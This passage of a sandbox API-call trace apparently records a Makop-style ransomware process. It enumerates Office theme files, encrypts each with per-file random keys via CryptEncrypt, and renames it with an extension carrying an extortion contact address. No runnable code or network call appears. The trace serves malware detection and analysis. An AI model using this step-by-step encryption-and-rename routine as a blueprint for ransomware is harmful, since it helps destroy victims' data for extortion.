liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.650] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe1c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe1c0, lpOverlapped=0x0) returned 1 [0096.651] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.651] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.651] SetEndOfFile (hFile=0x138) returned 1 [0096.658] GetProcessHeap () returned 0x48a0000 [0096.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.658] GetProcessHeap () returned 0x48a0000 [0096.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.658] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.659] CloseHandle (hObject=0x138) returned 1 [0096.659] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0096.660] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0096.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.660] GetProcessHeap () returned 0x48a0000 [0096.660] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.660] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.660] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.660] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0096.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.663] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.663] GetProcessHeap () returned 0x48a0000 [0096.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.664] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.664] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.664] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.664] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.664] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.664] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.664] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.665] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.665] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.665] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.665] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1f5, lpOverlapped=0x0) returned 1 [0096.665] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x200, dwBufLen=0x200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x200) returned 1 [0096.665] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.665] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x200, lpOverlapped=0x0) returned 1 [0096.666] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.666] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.666] SetEndOfFile (hFile=0x138) returned 1 [0096.672] GetProcessHeap () returned 0x48a0000 [0096.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.672] GetProcessHeap () returned 0x48a0000 [0096.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.672] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.677] CloseHandle (hObject=0x138) returned 1 [0096.677] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.678] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0096.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.684] GetProcessHeap () returned 0x48a0000 [0096.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.684] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.684] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.684] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.691] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.691] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.692] GetProcessHeap () returned 0x48a0000 [0096.692] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.692] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.692] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.692] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.692] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.692] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.692] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.692] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.693] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.693] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.693] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.693] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7fc, lpOverlapped=0x0) returned 1 [0096.693] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x800, dwBufLen=0x800 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x800) returned 1 [0096.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.693] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x800, lpOverlapped=0x0) returned 1 [0096.693] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.694] SetEndOfFile (hFile=0x138) returned 1 [0096.700] GetProcessHeap () returned 0x48a0000 [0096.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.700] GetProcessHeap () returned 0x48a0000 [0096.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.700] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0096.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.702] CloseHandle (hObject=0x138) returned 1 [0096.702] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.702] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0096.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.702] GetProcessHeap () returned 0x48a0000 [0096.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.702] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.702] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.703] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0096.711] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.711] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.712] GetProcessHeap () returned 0x48a0000 [0096.712] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.712] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.712] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.712] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.712] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.712] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.712] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.712] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.713] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.713] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.713] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.713] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x74e5, lpOverlapped=0x0) returned 1 [0096.715] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x74f0, dwBufLen=0x74f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x74f0) returned 1 [0096.715] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.715] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x74f0, lpOverlapped=0x0) returned 1 [0096.716] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.716] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x75c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.716] SetEndOfFile (hFile=0x138) returned 1 [0096.723] GetProcessHeap () returned 0x48a0000 [0096.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.723] GetProcessHeap () returned 0x48a0000 [0096.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.723] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.724] CloseHandle (hObject=0x138) returned 1 [0096.724] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.724] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.725] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0096.725] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE") returned 63 [0096.725] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*") returned 67 [0096.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.727] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.727] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0096.727] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM") returned 75 [0096.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.727] GetProcessHeap () returned 0x48a0000 [0096.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.728] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.728] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.728] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, 